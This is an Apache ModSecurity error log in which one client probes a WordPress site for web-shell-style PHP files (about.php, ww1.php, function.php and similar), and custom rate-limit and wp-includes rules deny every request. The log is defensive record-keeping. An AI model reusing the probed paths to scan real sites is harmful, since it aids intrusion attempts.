[Sun Dec 28 21:20:00.326008 2025] [:error] [pid 29437:tid 29483] [client 74.225.139.234:19554] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVEugBhDotAbVk6pZLfb4AAAAdE"]
[Sun Dec 28 21:20:00.662086 2025] [:error] [pid 29436:tid 29455] [client 74.225.139.234:19557] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVEugLchzOOtNL9VPNIR7QAAAZA"]
[Sun Dec 28 21:20:01.049135 2025] [:error] [pid 29436:tid 29445] [client 74.225.139.234:19468] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVEugbchzOOtNL9VPNIR7gAAAYY"]
[Sun Dec 28 21:20:01.682593 2025] [:error] [pid 42378:tid 42399] [client 74.225.139.234:13260] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVEugTgtcN-KHAjWrX8vEQAAANM"]
[Sun Dec 28 21:20:02.284755 2025] [:error] [pid 29388:tid 29401] [client 74.225.139.234:19521] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aVEugtoLv2L2zI_SpdX3CAAAAUU"]
[Sun Dec 28 21:20:02.869834 2025] [:error] [pid 29388:tid 29399] [client 74.225.139.234:13288] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aVEugtoLv2L2zI_SpdX3CQAAAUM"]
[Sun Dec 28 21:20:03.272619 2025] [:error] [pid 42293:tid 42332] [client 74.225.139.234:19486] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aVEug8vc9B-5cwN385IAvgAAAEk"]
[Sun Dec 28 21:20:03.565810 2025] [:error] [pid 42293:tid 42333] [client 74.225.139.234:13293] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVEug8vc9B-5cwN385IAvwAAAEo"]
[Sun Dec 28 21:20:03.957732 2025] [:error] [pid 29388:tid 29411] [client 74.225.139.234:13210] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVEug9oLv2L2zI_SpdX3CgAAAU8"]
[Sun Dec 28 21:20:04.387506 2025] [:error] [pid 42292:tid 42317] [client 74.225.139.234:13180] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVEuhJyOrM_vaFx1osZeSwAAABU"]
[Sun Dec 28 21:20:04.907420 2025] [:error] [pid 43789:tid 43802] [client 74.225.139.234:19467] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVEuhAa-tUppni4CcCZJXgAAAQs"]
[Sun Dec 28 21:20:05.295033 2025] [:error] [pid 42378:tid 42380] [client 74.225.139.234:19472] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVEuhTgtcN-KHAjWrX8vEwAAAMA"]
[Sun Dec 28 21:20:05.786986 2025] [:error] [pid 29437:tid 29477] [client 74.225.139.234:13068] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVEuhRhDotAbVk6pZLfb4gAAAcs"]
[Sun Dec 28 21:20:06.151670 2025] [:error] [pid 29436:tid 29462] [client 74.225.139.234:13261] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVEuhrchzOOtNL9VPNIR8wAAAZc"]
[Sun Dec 28 21:20:06.535643 2025] [:error] [pid 29388:tid 29406] [client 74.225.139.234:13135] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVEuhtoLv2L2zI_SpdX3DAAAAUo"]
[Sun Dec 28 21:20:06.932387 2025] [:error] [pid 29436:tid 29453] [client 74.225.139.234:13059] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVEuhrchzOOtNL9VPNIR9gAAAY4"]
[Sun Dec 28 21:20:07.351152 2025] [:error] [pid 42293:tid 42339] [client 74.225.139.234:13148] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVEuh8vc9B-5cwN385IAwQAAAFA"]
[Sun Dec 28 21:20:07.867293 2025] [:error] [pid 42293:tid 42341] [client 74.225.139.234:13126] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVEuh8vc9B-5cwN385IAwgAAAFI"]
[Sun Dec 28 21:20:08.470907 2025] [:error] [pid 43789:tid 43809] [client 74.225.139.234:19574] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVEuiAa-tUppni4CcCZJYAAAARI"]
[Sun Dec 28 21:20:08.882038 2025] [:error] [pid 43789:tid 43813] [client 74.225.139.234:13071] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVEuiAa-tUppni4CcCZJYgAAARY"]
[Sun Dec 28 21:20:09.259063 2025] [:error] [pid 42293:tid 42331] [client 74.225.139.234:13164] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVEuicvc9B-5cwN385IAwwAAAEg"]
[Sun Dec 28 21:20:09.620966 2025] [:error] [pid 29437:tid 29468] [client 74.225.139.234:19579] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVEuiRhDotAbVk6pZLfb5AAAAcI"]
[Sun Dec 28 21:20:10.065302 2025] [:error] [pid 42293:tid 42347] [client 74.225.139.234:19520] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aVEuisvc9B-5cwN385IAxAAAAFg"]
[Sun Dec 28 21:20:10.471746 2025] [:error] [pid 42378:tid 42382] [client 74.225.139.234:19477] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aVEuijgtcN-KHAjWrX8vFAAAAMI"]
[Sun Dec 28 21:20:10.803748 2025] [:error] [pid 29388:tid 29416] [client 74.225.139.234:13158] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aVEuitoLv2L2zI_SpdX3DQAAAVQ"]
[Sun Dec 28 21:20:11.208370 2025] [:error] [pid 43789:tid 43794] [client 74.225.139.234:13213] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aVEuiwa-tUppni4CcCZJZgAAAQM"]
[Sun Dec 28 21:20:12.006327 2025] [:error] [pid 42292:tid 42308] [client 74.225.139.234:19516] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVEujJyOrM_vaFx1osZeTQAAAAw"]
[Sun Dec 28 21:20:12.478320 2025] [:error] [pid 29437:tid 29490] [client 74.225.139.234:13211] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVEujBhDotAbVk6pZLfb5wAAAdg"]
[Sun Dec 28 21:20:12.868155 2025] [:error] [pid 29437:tid 29467] [client 74.225.139.234:13183] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVEujBhDotAbVk6pZLfb6AAAAcE"]
[Sun Dec 28 21:20:13.438470 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:13201] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVEujbchzOOtNL9VPNIR-AAAAZM"]
[Sun Dec 28 21:20:13.853756 2025] [:error] [pid 42292:tid 42297] [client 74.225.139.234:13270] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVEujZyOrM_vaFx1osZeTgAAAAE"]
[Sun Dec 28 21:20:14.347861 2025] [:error] [pid 42378:tid 42402] [client 74.225.139.234:19543] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVEujjgtcN-KHAjWrX8vFQAAANY"]
[Sun Dec 28 21:20:14.879170 2025] [:error] [pid 42292:tid 42301] [client 74.225.139.234:19561] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVEujpyOrM_vaFx1osZeUAAAAAU"]
[Sun Dec 28 21:20:15.402855 2025] [:error] [pid 42294:tid 42364] [client 74.225.139.234:13233] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVEuj9TE5kYcYCOzl9HRwgAAAI4"]
[Sun Dec 28 21:20:15.944683 2025] [:error] [pid 42293:tid 42330] [client 74.225.139.234:13205] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEuj8vc9B-5cwN385IAyAAAAEc"]
[Sun Dec 28 21:20:16.263385 2025] [:error] [pid 42292:tid 42320] [client 74.225.139.234:13057] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEukJyOrM_vaFx1osZeUgAAABg"]
[Sun Dec 28 21:20:16.883425 2025] [:error] [pid 29437:tid 29466] [client 74.225.139.234:13229] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEukBhDotAbVk6pZLfb6gAAAcA"]
[Sun Dec 28 21:20:17.212106 2025] [:error] [pid 42294:tid 42354] [client 74.225.139.234:13186] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEukdTE5kYcYCOzl9HRwwAAAIQ"]
[Sun Dec 28 21:20:17.876871 2025] [:error] [pid 42293:tid 42336] [client 74.225.139.234:13127] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVEukcvc9B-5cwN385IAygAAAE0"]
[Sun Dec 28 21:20:18.314312 2025] [:error] [pid 43789:tid 43791] [client 74.225.139.234:19546] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVEukga-tUppni4CcCZJawAAAQA"]
[Sun Dec 28 21:20:18.709710 2025] [:error] [pid 29388:tid 29415] [client 74.225.139.234:19473] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVEuktoLv2L2zI_SpdX3DgAAAVM"]
[Sun Dec 28 21:20:19.119124 2025] [:error] [pid 43789:tid 43795] [client 74.225.139.234:13192] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVEukwa-tUppni4CcCZJbAAAAQQ"]
[Sun Dec 28 21:20:19.635862 2025] [:error] [pid 42294:tid 42352] [client 74.225.139.234:13171] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aVEuk9TE5kYcYCOzl9HRxAAAAII"]
[Sun Dec 28 21:20:19.957278 2025] [:error] [pid 29388:tid 29419] [client 74.225.139.234:19551] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aVEuk9oLv2L2zI_SpdX3EgAAAVc"]
[Sun Dec 28 21:20:20.701637 2025] [:error] [pid 42378:tid 42386] [client 74.225.139.234:13300] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aVEulDgtcN-KHAjWrX8vGAAAAMY"]
[Sun Dec 28 21:20:21.030253 2025] [:error] [pid 42294:tid 42351] [client 74.225.139.234:19525] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aVEuldTE5kYcYCOzl9HRxQAAAIE"]
[Sun Dec 28 21:20:21.501876 2025] [:error] [pid 43789:tid 43800] [client 74.225.139.234:13069] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVEulQa-tUppni4CcCZJbgAAAQk"]
[Sun Dec 28 21:20:22.921988 2025] [:error] [pid 29388:tid 29417] [client 74.225.139.234:13143] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVEultoLv2L2zI_SpdX3FgAAAVU"]
[Sun Dec 28 21:20:23.433749 2025] [:error] [pid 29436:tid 29439] [client 74.225.139.234:13191] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVEul7chzOOtNL9VPNISAAAAAYA"]
[Sun Dec 28 21:20:23.804213 2025] [:error] [pid 29437:tid 29468] [client 74.225.139.234:19565] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVEulxhDotAbVk6pZLfb9wAAAcI"]
[Sun Dec 28 21:20:24.229138 2025] [:error] [pid 42378:tid 42400] [client 74.225.139.234:13189] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVEumDgtcN-KHAjWrX8vHAAAANQ"]
[Sun Dec 28 21:20:24.597190 2025] [:error] [pid 42294:tid 42355] [client 74.225.139.234:19497] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVEumNTE5kYcYCOzl9HRyAAAAIU"]
[Sun Dec 28 21:20:25.005629 2025] [:error] [pid 29388:tid 29410] [client 74.225.139.234:13273] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVEumdoLv2L2zI_SpdX3GwAAAU4"]
[Sun Dec 28 21:20:25.738450 2025] [:error] [pid 42378:tid 42387] [client 74.225.139.234:19559] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVEumTgtcN-KHAjWrX8vHgAAAMc"]
[Sun Dec 28 21:20:26.104428 2025] [:error] [pid 29388:tid 29411] [client 74.225.139.234:13222] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEumtoLv2L2zI_SpdX3HAAAAU8"]
